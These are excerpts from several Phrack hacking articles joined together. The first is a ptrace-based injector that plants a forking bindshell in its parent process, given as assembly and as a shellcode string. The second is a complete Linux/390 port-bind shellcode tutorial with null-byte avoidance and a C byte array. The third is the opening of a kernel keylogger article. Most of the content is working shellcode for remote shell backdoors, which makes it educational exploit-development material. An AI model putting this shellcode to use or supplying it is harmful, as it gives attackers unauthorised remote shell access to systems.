Special greets to the other guys from minithins.net, UNF people, my tender girlfriend and to at&t who made their own cool asm syntax. Special thanks too to the channels #fr,#ircs,#!w00nf,#segfault,#unf for their special support, and especially to double‑p ,fozzy and OUAH who corrected my lame english and gave me some advices.

<injector.s>

/* INJECTOR.S VERSION 1.0 */

/* Injects a shellcode in a process using ptrace system call */

/* Tested on : linux 2.4.18 */

/* NOT SIZE‑OPTIMIZED YET */

#define SHELLCODELEN 30

/* That is, size of (the injected shellcode + bindshell)/4 */

#ifndef SHORT

#define LONG

#endif

#ifdef LONG

#undef SHORT

#endif

.text

.globl shellcode

.type shellcode,@function

shellcode:

/* injector begins here */

mov $0xbffffe04,%esp

/* first thing, we have to find our ppid */

xor %eax,%eax

mov $64,%al/* sys_getppid*/

int $0x80

#ifdef DEBUG_PID

mov $DEBUG_PID,%ax

#endif

/* put it on the stack */

mov %esp,%ebp/* save the stack in stack pointer */

mov %eax,12(%ebp)/* save the pid there */

/* now we have to do a ptrace */

redo:

xor %eax,%eax

mov $26,%al/* sys_ptrace */

mov 12(%ebp),%ecx

mov %eax,%ebx

mov $0x10,%bl/* PTRACE_ATTACH */

int $0x80/* do ptrace(PTRACE_ATTACH,getppid(),NULL,NULL); */

xor %ebx,%ebx

cmp %eax,%ebx

je good/* we are not leet enough, or ppid is init*/

inc %ecx

mov %ecx,12(%ebp)

jmp redo

good:

/* now we have to do a waitpid(pid,NULL,NULL)*/

mov %eax,%edx /* NULL */

mov %ecx,%ebx /* pid */

mov %edx,%ecx /* NULL */

mov $7,%al /* SYS_waitpid */

int $0x80

getregs:

/* now get its registers */

xor %eax,%eax /* Should waitpid return 0 ? never ;) */

xor %ebx,%ebx

mov %ebp,%esi

add $16,%esi/* 16 up of the stack pointer */

mov $12,%bl/* %ebx is zero, PTRACE_GETREGS */

mov 12(%ebp),%ecx /* pid */

mov $26,%al/* %eax is zero. */

/* %edx doesn't contain anything since PTRACE_GETREGS doesn't use addr */

int $0x80

/* so now we have registers in 16(%ebp) */

/* two interresting : %eip and %esp */

/* %eip : (16+48)(%ebp)*/

/* %esp : (16+60)(%ebp)*/

/* rq : 12(%ebx) contains ppid */

/* 8(%ebx) will contain the eip*/

custom_push:

sub $4,76(%ebp)/* dec the esp */

mov 76(%ebp),%edi/* put it in our temp eip */

sub $1036,%di

mov %edi,8(%ebp) /* that's the address where we */

/* shall start to install our code */

/* we need to push the eip at top of the stack */

mov $26,%al

mov $4,%bl/* PTRACE_POKETEXT*/

mov 12(%ebp),%ecx /*ppid */

mov 76(%ebp),%edx /* esp we have decremented */

mov 64(%ebp),%esi /* old eip */

int $0x80 /* what a work for push %eip */

mov %edi ,64(%ebp) /* eip = our code nah, %edi == 8(%ebp) */

/* now put our cool registers set */

setregs:

xor %eax,%eax

xor %ebx,%ebx

mov $26,%al

mov $13,%bl/* PTRACE_SETREGS*/

/* ppid always set so %ecx */

/* %edx ignored */

mov %ebp,%esi

add $16,%esi

int $0x80

/* registers have been updated. now inject the shellcode */

/* %edi : location in memory where we put the shellcode */

jmp start

goback: /* push on the stack the address of the shellcode to inject */

mov %edi,%edx/* addr */

dec %edx

dec %edx

/* returning from syscall, eip goes 2 before current eip */

/* with this trick, it goes on 2 nops */

pop %edi/* data */

xor %eax,%eax

mov $SHELLCODELEN,%al

mov %eax,%esp

mov $4,%bl

loop:

mov $26,%al

mov 12(%ebp),%ecx

mov (%edi),%esi

int $0x80

dec %esp

add $4,%edx /* target shellcode */

add $4,%edi /* local shellcode, source */

cmp %esp,%eax /* Len > 0 ? */

jne loop

detach:

mov $26,%al

xor %ebx,%ebx

mov $0x11,%bl/* PTRACE_DETACH */

mov 12(%ebp),%ecx/* pid */

//xor %edx,%edx

//xor %esi,%esi

int $0x80

/* Now we can exit */

failed:

#ifdef LONG

xor %eax,%eax/* exit silently */

mov %eax,%ebx

mov $1,%al/* sys_exit */

int $0x80 /* die in peace, poor child */

#endif

#ifndef LONG

ret

#endif

start:

call goback

/* all that part has to be done into the injected process */

/* in other word, this is the injected shellcode */

// ret location has been pushed previously

nop

nop

pusha // save before anything by saving registers

xor %eax,%eax

mov $0x02,%al //sys_fork

int $0x80//fork()

xor %ebx,%ebx

cmp %eax,%ebx// father or son ?

je son// I'm son

//here, I'm the father, I've to restore my previous state

father:

popa

ret

/* code finished for the father */

son: /* standard shellcode, at your choice */

/* Bind shellcode */

lnx_bind:

xor %eax,%eax

cdq /* %edx= 0 */

push %edx /* IPPROTO_TCP */

inc %edx/* SOCK_STREAM */

mov %edx,%ebx /* socket() */

push %edx

inc %edx/* AF_INET */

push %edx

mov %esp,%ecx

mov $102,%al

int $0x80

mov %eax,%edi /* Save the socket in %edi */

cdq /* %edx= sign of %eax = 0 */

inc %ebx /* bind */ /* was 1, become 2 */

push %edx /* 0.0.0.0 addr */

/*change \/ here */

push $0x4141ff02 /* here, change the 0x4141 for the port */

/* /\ */

mov %esp,%esi /* save the address of sockaddr in %esi */

push $16 /* Size of this shit */ //$16

push %esi /* struct sockaddr * */

push %edi /* socket number */

mov %esp,%ecx

/* bind() */

mov $102,%al

int $0x80

/* Erf, I use the previous data on the stack, they are even good enough */

inc %ebx /*3...*/

inc %ebx /*4 */

mov $102,%al

int $0x80 /* Listen(fd,somehug) (somehuge always > 0 so it's good) */

push %esp/* Len */

push %esi/* sockaddr* */

push %edi/* socket */

inc %ebx /* 5 */

mov %esp,%ecx

mov $102,%al

int $0x80 /* accept */

xchg %eax,%ebx /* Save our precious file descriptor */

pop %ecx /* take the value of %edi, that's usualy %ebx‑1 */

duploop:

mov $63,%al /* dup2 */

int $0x80

dec %ecx

cmp %ecx,%edx

jle duploop

//jnl loop /* For each file descriptor before %ebx, dup2() it */

/* Std lnx_bin_sh_1 shellcode */

push %edx

push $0x68732f6e

push $0x69622f2f

mov %esp,%ebx

push %edx

push %ebx

mov %esp,%ecx

mov $11, %al

int $0x80

.string ""

</injector.s>

<injector.h>

// compiled with ‑DLONG

// binds to port 16705

char injector_lnx[]=

"\xbc\x04\xfe\xff\xbf\x31\xc0\xb0\x40\xcd" "\x80\x89\xe5\x89\x45\x0c\x31\xc0\xb0\x1a" "\x8b\x4d\x0c\x89\xc3\xb3\x10\xcd\x80\x31" "\xdb\x39\xc3\x74\x06\x41\x89\x4d\x0c\xeb" "\xe7\x89\xc2\x89\xcb\x89\xd1\xb0\x07\xcd" "\x80\x31\xc0\x31\xdb\x89\xee\x83\xc6\x10" "\xb3\x0c\x8b\x4d\x0c\xb0\x1a\xcd\x80\x83" "\x6d\x4c\x04\x8b\x7d\x4c\x66\x81\xef\x0c" "\x04\x89\x7d\x08\xb0\x1a\xb3\x04\x8b\x4d" "\x0c\x8b\x55\x4c\x8b\x75\x40\xcd\x80\x89" "\x7d\x40\x31\xc0\x31\xdb\xb0\x1a\xb3\x0d" "\x89\xee\x83\xc6\x10\xcd\x80\xeb\x34\x89" "\xfa\x4a\x4a\x5f\x31\xc0\xb0\x1e\x89\xc4" "\xb3\x04\xb0\x1a\x8b\x4d\x0c\x8b\x37\xcd" "\x80\x4c\x83\xc2\x04\x83\xc7\x04\x39\xe0" "\x75\xec\xb0\x1a\x31\xdb\xb3\x11\x8b\x4d" "\x0c\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd" "\x80\xe8\xc7\xff\xff\xff\x90\x90\x60\x31" "\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xc3\x74" "\x02\x61\xc3\x31\xc0\x99\x52\x42\x89\xd3" "\x52\x42\x52\x89\xe1\xb0\x66\xcd\x80\x89" "\xc7\x99\x43\x52\x68\x02\xff\x41\x41\x89" "\xe6\x6a\x10\x56\x57\x89\xe1\xb0\x66\xcd" "\x80\x43\x43\xb0\x66\xcd\x80\x54\x56\x57" "\x43\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0" "\x3f\xcd\x80\x49\x39\xca\x7e\xf7\x52\x68" "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" "\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" ;

/*size :279 */

Linux/390 shellcode development

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Linux/390 shellcode development ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑=[ johnny cyberpunk <jcyberpunk@thehackerschoice.com> ]=‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ History and facts

2.1 ‑ Registers

2.2 ‑ Instruction set

2.3 ‑ Syscalls

2.4 ‑ The native code

2.5 ‑ Avoiding the evil 0x00 and 0x0a

2.6 ‑ The final code

3 ‑ References

‑‑[ 1 ‑ Introduction

Since Linux/390 has been released by IBM more and more b0xes of this type can be found in the wild. A good reason for a hacker to get a closer look on how vulnerable services can be exploited on a mainframe. Remember, who are the owners of mainframes ? Yeah, big computer centres, insurances or goverments. Well, in this article I'll uncover how to write the bad code (aka shellcode). The bind‑shellcode at the end should be taken as an example. Other shellcode and exploit against some known vulnerabilities can be found on a seperate link (see References) in the next few weeks.

Suggestions, improvements or flames can be send directly to the email address posted in the header of this article. My gpg‑key can be found at the document bottom.

‑‑[ 2 ‑ History and facts

In late 1998 a small team of IBM developers from Boeblingen/Germany started to port Linux to mainframes. One year later in December 1999 the first version has been published for the IBM s/390. There are two versions available:

A 32 bit version, referred to as Linux on s/390 and a 64 bit version, referred to as Linux on zSeries. Supported distros are Suse, Redhat and TurboLinux. Linux for s/390 is based on the kernel 2.2, the zSeries is based on kernel 2.4. There are different ways to run Linux:

Native ‑ Linux runs on the entire machine, with no other OS LPAR ‑ Logical PARtition): The hardware can be logically partitioned, for example, one LPAR hosts a VM/VSE environment and another LPAR hosts Linux. VM/ESA Guest ‑ means that a customer can also run Linux in a virtual machine

The binaries are in ELF format (big endianess).

‑‑‑‑[ 2.1 ‑ Registers

For our shellcode development we really don't need the whole bunch of registers the s/390 or zSeries has. The most interesting for us are the registers %r0‑%r15. Anyway I'll list some others here for to get an overview.

General propose registers :

%r0‑%r15 or gpr0‑gpr15 are used for addressing and arithmetic

Control registers :

cr0‑cr15 are only used by kernel for irq control, memory management, debugging control ...

Access registers :

ar0‑ar15 are normally not used by programs, but good for temporary storage

Floating point registers :

fp0‑fp15 are IEEE and HFP floating ( Linux only uses IEEE )

PSW ( Programm Status Word ) :

is the most important register and serves the roles of a program counter, memory space designator and condition code register. For those who wanna know more about this register, should take a closer look on the references at the bottom.

‑‑‑‑[ 2.2 ‑ Instruction set

Next I'll show you some useful instructions we will need, while developing our shellcode.

Instruction Example

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

basr (branch and save) %r1,0 # save value 0 to %r1 lhi (load h/word immediate) lhi %r4,2 # load value 2 into %r4 la (load address) la %r3,120(%r15) # load address from

r15+120 into %r3

lr (load register) lr %r4,%r9 # load value from %r9

into %r4

stc (store character) stc %r6,120(%r15) # store 1 character from

r6 to %r15+120

sth (store halfword) sth %r3,122(%r15) # store 2 bytes from

r3 to %r15+122

ar (add) ar %r6,%r10 # add value in %r10 ‑>%r6 xr (exclusive or) xr %r2,%r2 # 0x00 trick :) svc (service call) svc 1 # exit

‑‑‑‑[ 2.3 ‑ Syscalls

On Linux for s/390 or zSeries syscalls are done by using the instruction SVC with it's opcode 0x0a ! This is no good message for shellcoders, coz 0x0a is a special character in a lot of services. But before i start explaining how we can avoid using this call let's have a look on how our OS is using the syscalls.

The first four parameters of a syscall are delivered to the registers %r2‑%r5 and the resultcode can be found in %r2 after the SVC call.

Example of an execve call:

basr %r1,0

base:

la %r2,exec‑base(%r1)

la %r3,arg‑base(%r1)

la %r4,tonull‑base(%r1)

svc 11

exec:

.string "/bin//sh"

arg:

.long exec

tonull:

.long 0x0

A special case is the SVC call 102 (SYS_SOCKET). First we have to feed the register %r2 with the desired function ( socket, bind, listen, accept, ....) and %r3 points to a list of parameters this function needs. Every parameter in this list has its own u_long value.

And again an example of a socket() call :

lhi %r2,2 # domain

lhi %r3,1 # type

xr %r4,%r4 # protocol

stm %r2,%r4,128(%r15) # store %r2 ‑ %r4 lhi %r2,1 # function socket() la %r3,128(%r15) # pointer to the API values svc 102 # SOCKETCALL lr %r7,%r2 # save filedescriptor to %r7

‑‑‑‑[ 2.4 ‑ The native code

So now, here is a sample of a complete portbindshell in native style :

.globl _start

_start:

basr %r1,0 # our base‑address base:

lhi %r2,2 # AF_INET sth %r2,120(%r15)

lhi %r3,31337 # port sth %r3,122(%r15)

xr %r4,%r4 # INADDR_ANY st %r4,124(%r15) # 120‑127 is struct sockaddr * lhi %r3,1 # SOCK_STREAM stm %r2,%r4,128(%r15) # store %r2‑%r4, our API values lhi %r2,1 # SOCKET_socket la %r3,128(%r15) # pointer to the API values svc 102 # SOCKETCALL lr %r7,%r2 # save socket fd to %r7 la %r3,120(%r15) # pointer to struct sockaddr * lhi %r9,16 # save value 16 to %r9 lr %r4,%r9 # sizeof address stm %r2,%r4,128(%r15) # store %r2‑%r4, our API values lhi %r2,2 # SOCKET_bind la %r3,128(%r15) # pointer to the API values svc 102 # SOCKETCALL lr %r2,%r7 # get saved socket fd lhi %r3,1 # MAXNUMBER stm %r2,%r3,128(%r15) # store %r2‑%r3, our API values lhi %r2,4 # SOCKET_listen la %r3,128(%r15) # pointer to the API values svc 102 # SOCKETCALL lr %r2,%r7 # get saved socket fd la %r3,120(%r15) # pointer to struct sockaddr * stm %r2,%r3,128(%r15) # store %r2‑%r3,our API values st %r9,136(%r15) # %r9 = 16, this case: fromlen lhi %r2,5 # SOCKET_accept la %r3,128(%r15) # pointer to the API values svc 102 # SOCKETCALL xr %r3,%r3 # the following shit svc 63 # duplicates stdin, stdout ahi %r3,1 # stderr svc 63 # DUP2

ahi %r3,1

svc 63

la %r2,exec‑base(%r1) # point to /bin/sh la %r3,arg‑base(%r1) # points to address of /bin/sh la %r4,tonull‑base(%r1) # point to envp value svc 11 # execve slr %r2,%r2

svc 1 # exit

exec:

.string "/bin//sh"

arg:

.long exec

tonull:

.long 0x0

‑‑‑‑[ 2.5 ‑ Avoiding 0x00 and 0x0a

To get a clean working shellcode we have two things to bypass. First avoiding 0x00 and second avoiding 0x0a.

Here is our first case :

a7 28 00 02 lhi %r2,02

And here is my solution :

a7 a8 fb b4 lhi %r10,‑1100

a7 28 04 4e lhi %r2,1102

1a 2a ar %r2,%r10

I statically define a value ‑1100 in %r10 to use it multiple times. After that i load my wanted value plus 1100 and in the next instruction the subtraction of 1102‑1100 gives me the real value. Quite easy.

To get around the next problem we have to use selfmodifing code:

svc:

.long 0x0b6607fe <‑‑‑‑ will be svc 66, br %r14 after

code modification

Look at the first byte, it has the value 0x0b at the moment. The following code changes this value to 0x0a:

basr %r1,0 # our base‑address

la %r9,svc‑base(%r1) # load address of svc subroutine lhi %r6,1110 # selfmodifing

lhi %r10,‑1100 # code is used

ar %r6,%r10 # 1110 ‑ 1100 = \x0a opcode SVC stc %r6,svc‑base(%r1) # store svc opcode

Finally the modified code looks as follows :

0a 66 svc 66

07 fe br %r14

To branch to this subroutine we use the following command :

basr %r14,%r9 # branch to subroutine SVC 102

The Register %r9 has the address of the subroutine and %r14 contains the address where to jump back.

‑‑‑‑[ 2.6 ‑ The final code

Finally we made it, our shellcode is ready for a first test:

.globl _start

_start:

basr %r1,0 # our base‑address base:

la %r9,svc‑base(%r1) # load address of svc subroutine lhi %r6,1110 # selfmodifing lhi %r10,‑1100 # code is used ar %r6,%r10 # 1110 ‑ 1100 = \x0a opcode SVC stc %r6,svc‑base(%r1) # store svc opcode lhi %r2,1102 # portbind code always uses ar %r2,%r10 # real value‑1100 (here AF_INET) sth %r2,120(%r15)

lhi %r3,31337 # port

sth %r3,122(%r15)

xr %r4,%r4 # INADDR_ANY st %r4,124(%r15) # 120‑127 is struct sockaddr * lhi %r3,1101 # SOCK_STREAM ar %r3,%r10

stm %r2,%r4,128(%r15) # store %r2‑%r4, our API values lhi %r2,1101 # SOCKET_socket ar %r2,%r10

la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lr %r7,%r2 # save socket fd to %r7 la %r3,120(%r15) # pointer to struct sockaddr * lhi %r8,1116

ar %r8,%r10 # value 16 is stored in %r8 lr %r4,%r8 # size of address stm %r2,%r4,128(%r15) # store %r2‑%r4, our API values lhi %r2,1102 # SOCKET_bind ar %r2,%r10

la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lr %r2,%r7 # get saved socket fd lhi %r3,1101 # MAXNUMBER ar %r3,%r10

stm %r2,%r3,128(%r15) # store %r2‑%r3, our API values lhi %r2,1104 # SOCKET_listen ar %r2,%r10

la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lr %r2,%r7 # get saved socket fd la %r3,120(%r15) # pointer to struct sockaddr * stm %r2,%r3,128(%r15) # store %r2‑%r3, our API values st %r8,136(%r15) # %r8 = 16, in this case fromlen lhi %r2,1105 # SOCKET_accept ar %r2,%r10

la %r3,128(%r15) # pointer to the API values basr %r14,%r9 # branch to subroutine SVC 102 lhi %r6,1163 # initiate SVC 63 = DUP2 ar %r6,%r10

stc %r6,svc+1‑base(%r1) # modify subroutine to SVC 63 lhi %r3,1102 # the following shit ar %r3,%r10 # duplicates basr %r14,%r9 # stdin, stdout ahi %r3,‑1 # stderr basr %r14,%r9 # SVC 63 = DUP2 ahi %r3,‑1

basr %r14,%r9

lhi %r6,1111 # initiate SVC 11 = execve ar %r6,%r10

stc %r6,svc+1‑base(%r1) # modify subroutine to SVC 11 la %r2,exec‑base(%r1) # point to /bin/sh st %r2,exec+8‑base(%r1) # save address to /bin/sh la %r3,exec+8‑base(%r1) # points to address of /bin/sh xr %r4,%r4 # 0x00 is envp stc %r4,exec+7‑base(%r1) # fix last byte /bin/sh\\ to 0x00 st %r4,exec+12‑base(%r1) # store 0x00 value for envp la %r4,exec+12‑base(%r1) # point to envp value basr %r14,%r9 # branch to subroutine SVC 11 svc:

.long 0x0b6607fe # our subroutine SVC n + br %r14 exec:

.string "/bin/sh\\"

In a C‑code environment it looks like this :

char shellcode[]=

"\x0d\x10"/* basr %r1,%r0*/

"\x41\x90\x10\xd4"/* la %r9,212(%r1)*/

"\xa7\x68\x04\x56"/* lhi %r6,1110*/

"\xa7\xa8\xfb\xb4"/* lhi %r10,‑1100*/

"\x1a\x6a"/* ar %r6,%r10*/

"\x42\x60\x10\xd4"/* stc %r6,212(%r1)*/

"\xa7\x28\x04\x4e"/* lhi %r2,1102*/

"\x1a\x2a"/* ar %r2,%r10*/

"\x40\x20\xf0\x78"/* sth %r2,120(%r15)*/

"\xa7\x38\x7a\x69"/* lhi %r3,31337*/

"\x40\x30\xf0\x7a"/* sth %r3,122(%r15)*/

"\x17\x44"/* xr %r4,%r4*/

"\x50\x40\xf0\x7c"/* st %r4,124(%r15)*/

"\xa7\x38\x04\x4d"/* lhi %r3,1101*/

"\x1a\x3a"/* ar %r3,%r10*/

"\x90\x24\xf0\x80"/* stm %r2,%r4,128(%r15)*/

"\xa7\x28\x04\x4d"/* lhi %r2,1101*/

"\x1a\x2a"/* ar %r2,%r10*/

"\x41\x30\xf0\x80"/* la %r3,128(%r15)*/

"\x0d\xe9"/* basr %r14,%r9*/

"\x18\x72"/* lr %r7,%r2*/

"\x41\x30\xf0\x78"/* la %r3,120(%r15)*/

"\xa7\x88\x04\x5c"/* lhi %r8,1116*/

"\x1a\x8a"/* ar %r8,%r10*/

"\x18\x48"/* lr %r4,%r8*/

"\x90\x24\xf0\x80"/* stm %r2,%r4,128(%r15)*/

"\xa7\x28\x04\x4e"/* lhi %r2,1102*/

"\x1a\x2a"/* ar %r2,%r10*/

"\x41\x30\xf0\x80"/* la %r3,128(%r15)*/

"\x0d\xe9"/* basr %r14,%r9*/

"\x18\x27"/* lr %r2,%r7*/

"\xa7\x38\x04\x4d"/* lhi %r3,1101*/

"\x1a\x3a"/* ar %r3,%r10*/

"\x90\x23\xf0\x80"/* stm %r2,%r3,128(%r15)*/

"\xa7\x28\x04\x50"/* lhi %r2,1104*/

"\x1a\x2a"/* ar %r2,%r10*/

"\x41\x30\xf0\x80"/* la %r3,128(%r15)*/

"\x0d\xe9"/* basr %r14,%r9*/

"\x18\x27"/* lr %r2,%r7*/

"\x41\x30\xf0\x78"/* la %r3,120(%r15)*/

"\x90\x23\xf0\x80"/* stm %r2,%r3,128(%r15)*/

"\x50\x80\xf0\x88"/* st %r8,136(%r15)*/

"\xa7\x28\x04\x51"/* lhi %r2,1105*/

"\x1a\x2a"/* ar %r2,%r10*/

"\x41\x30\xf0\x80"/* la %r3,128(%r15)*/

"\x0d\xe9"/* basr %r14,%r9*/

"\xa7\x68\x04\x8b"/* lhi %r6,1163*/

"\x1a\x6a"/* ar %r6,%r10*/

"\x42\x60\x10\xd5"/* stc %r6,213(%r1)*/

"\xa7\x38\x04\x4e"/* lhi %r3,1102*/

"\x1a\x3a"/* ar %r3,%r10*/

"\x0d\xe9"/* basr %r14,%r9*/

"\xa7\x3a\xff\xff"/* ahi %r3,‑1*/

"\x0d\xe9"/* basr %r14,%r9*/

"\xa7\x3a\xff\xff"/* ahi %r3,‑1*/

"\x0d\xe9"/* basr %r14,%r9*/

"\xa7\x68\x04\x57"/* lhi %r6,1111*/

"\x1a\x6a"/* ar %r6,%r10*/

"\x42\x60\x10\xd5"/* stc %r6,213(%r1)*/

"\x41\x20\x10\xd8"/* la %r2,216(%r1)*/

"\x50\x20\x10\xe0"/* st %r2,224(%r1)*/

"\x41\x30\x10\xe0"/* la %r3,224(%r1)*/

"\x17\x44"/* xr %r4,%r4*/

"\x42\x40\x10\xdf"/* stc %r4,223(%r1)*/

"\x50\x40\x10\xe4"/* st %r4,228(%r1)*/

"\x41\x40\x10\xe4"/* la %r4,228(%r1)*/

"\x0d\xe9"/* basr %r14,%r9*/

"\x0b\x66"/* svc 102 <‑‑‑ after modification*/

"\x07\xfe"/* br %r14*/

"\x2f\x62\x69\x6e"/* /bin*/

"\x2f\x73\x68\x5c";/* /sh\*/

main()

{

void (*z)()=(void*)shellcode;

z();

}

‑‑[ 3 ‑ References:

[1] z/Architecture Principles of Operation (SA22‑7832‑00) http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf

[2] Linux for S/390 ( SG24‑4987‑00 ) http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf

[3] LINUX for S/390 ELF Application Binary Interface Supplement http://oss.software.ibm.com/linux390/docu/l390abi0.pdf

[4] Example exploits http://www.thehackerschoice.com/misc/sploits/

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v1.0.6 (GNU/Linux)

Comment: Weitere Infos: siehe http://www.gnupg.org

mQGiBDzw5yMRBACGJ1o25Bfbb6mBkP2+qwd0eCTvCmC5uJGdXWOW8BbQwDHkoO4h sdouA+0JdlTFIQriCZhZWbspNsWEpXPOAW8vG3fSqIUqiDe6Aj21h+BnW0WEqx9t 8TkooEVS3SL34wiDCig3cQtmvAIj0C9g4pj5B/QwHJYrWNFoAxc2SW1lXwCg8Wk9 LawvHW+Xqnc6n/w5Oo8IpNsD/2Lp4fvQFiTvN22Jd63nCQ75A64fB7mH7ZUsVPYy BctYXM4GhcHx7zfOhAbJQNWoNmYGiftVr9UvO9GSnG+Y9jq6I16qOn7T7dIZUEpL F5FevEFTyrtDGYmBhGv9hwtbz3CI9n9gpZxz1xYTbDHxkVIiTMlcNR3GIJRPfo5B a7u4A/9ncKqRx2HbRkaj39zugC6Y28z9lSimGzu7PTVw3bxDbObgi4CyHcjnHe+j DResuKGgdyEf+d07ofbFEOdQjgaDx1mmswS4pcILKOyRdQMtdbgSdyPlJw5KGHLX G0hrHV/Uhgok3W6nC43ZvPWbd3HVfOIU8jDTRgWaRDjGc45dtbQkam9obm55IGN5 YmVycHVuayA8am9obmN5YnBrQGdteC5uZXQ+iFcEExECABcFAjzw5yMFCwcKAwQD FQMCAxYCAQIXgAAKCRD3c5EGutq/jMW7AJ9OSmrB+0vMgPfVOT4edV7C++RNHwCf byT/qKeSawxasF8g4HeX33fSPe25Ag0EPPDnrRAIALdcTn8E2Z8Z4Ua4p8fjwXNO iP6GOANUN5XLpmscv9v5ErPfK+NM2ARb7O7rQJfLkmKV8voPNj4lPUUyltGeOhzj t86I5p68RRSvO5JKTW+riZamaD8lB84YqLzmt9OuzuOeAJCq3GuQtPMyrNuOkPL9 nX51EgnLnYaUYAkysAhYLhlrye/3maNdjtn2T63MoJauAoB4TpKvegsGsf1pA5mj y9fuG6zGnWt8XpVSdD2W3PUJB+Q7J3On35byebIKiuGsti6Y5L0ZSDlW2rveZp9g eRSQz06j+mxAooTUMBBJwMmXjHm5nTgr5OX/8mpb+I73MGhtssRr+JW+EWSLQN8A AwcH/iqRCMmPB/yiMhFrEPUMNBsZOJ+VK3PnUNLbAPtHz7E2ZmEpTgdvLR3tjHTC vZO6k40H1BkodmdFkCHEwzhWwe8P3a+wgW2LnPCM6tfPEfp9kPXD43UlTLWLL4RF cPmyrs45B2uht7aE3Pe0SgbsnWAej87Stwb+ezOmngmrRvZKnYREVR1RHRRsH3l6 C4rexD3uHjFNdEXieW97xHG71YpOVDX6slCK2SumfxzQAEZC2n7/DqwPd6Z/abAf Ay9WmTpqBFd2FApUtZ1h8cpS6MYb6A5R2BDJQl1hN2pQFNzIh8chjVdQc67dKiay R/g0Epg0thiVAecaloCJlJE8b3OIRgQYEQIABgUCPPDnrQAKCRD3c5EGutq/jNuP AJ979IDls926vsxlhRA5Y8G0hLyDAwCgo8eWQWI7Y+QVfwBG8XCzei4oAiI= =2B7h

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Writing Linux Kernel Keylogger

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Writing Linux Kernel Keylogger ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ rd <rd@thehackerschoice.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ June 19th, 2002 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ How Linux keyboard driver work

3 ‑ Kernel based keylogger approaches

3.1 ‑ Interrupt handler

3.2 ‑ Function hijacking

3.2.1 ‑ handle_scancode

3.2.2 ‑ put_queue

3.2.3 ‑ receive_buf

3.2.4 ‑ tty_read

3.2.5 ‑ sys_read/sys_write

4 ‑ vlogger

4.1 ‑ The syscall/tty approach

4.2 ‑ Features

4.3 ‑ How to use

5 ‑ Greets

6 ‑ References

7 ‑ Keylogger source

‑‑[ 1 ‑ Introduction

This article is divided into two parts. The first part of the paper gives an overview on how the linux keyboard driver work, and discusses methods that can be used to create a kernel based keylogger. This part will be useful for those who want to write a kernel based keylogger, or to write their own keyboard driver (for supporting input of non‑supported language in linux environment, ...) or to program taking advantage of many features in the Linux keyboard driver.

The second part presents detail of vlogger, a smart kernel based linux keylogger, and how to use it. Keylogger is a very interesting code being used widely in honeypots, hacked systems, ... by white and black hats. As most of us known, besides user space keyloggers (such as iob, uberkey, unixkeylogger, ...), there are some kernel based keyloggers. The earliest kernel based keylogger is linspy of halflife which was published in Phrack 50 (see [4]). And the recent kkeylogger is presented in 'Kernel Based Keylogger' paper by mercenary (see [7]) that I found when was writing this paper. The common method of those kernel based keyloggers using is to log user keystrokes by intercepting sys_read or sys_write system call. However, this approach is quite unstable and slowing down the whole system noticeably because sys_read (or sys_write) is the generic read/write function of the system; sys_read is called whenever a process wants to read something from devices (such as keyboard, file, serial port, ...). In vlogger, I used a better way to implement it that hijacks the tty buffer processing function.

The reader is supposed to possess the knowledge on Linux Loadable Kernel Module. Articles [1] and [2] are recommended to read before further reading.

‑‑[ 2 ‑ How Linux keyboard driver work

Lets take a look at below figure to know how user inputs from console keyboard are processed:

_____________ _________

/ \ put_queue| |receive_buf| |tty_read /handle_scancode\‑‑‑‑‑‑‑‑>|tty_queue|‑‑‑‑‑‑‑‑‑‑>|tty_ldisc|‑‑‑‑‑‑‑>

\ / | | buffer |

\_____________/ |_________|

_________ ____________

| |sys_read| | ‑‑‑>|/dev/ttyX|‑‑‑‑‑‑‑>|user process|

| | | |

|_________| |____________|

Figure 1

First, when you press a key on the keyboard, the keyboard will send corresponding scancodes to keyboard driver. A single key press can produce a sequence of up to six scancodes.

The handle_scancode() function in the keyboard driver parses the stream of scancodes and converts it into a series of key press and key release events called keycode by using a translation‑table via kbd_translate() function. Each key is provided with a unique keycode k in the range 1‑127. Pressing key k produces keycode k, while releasing it produces keycode k+128.

For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30. Releasing 'a' produces keycode 158 (128+30).

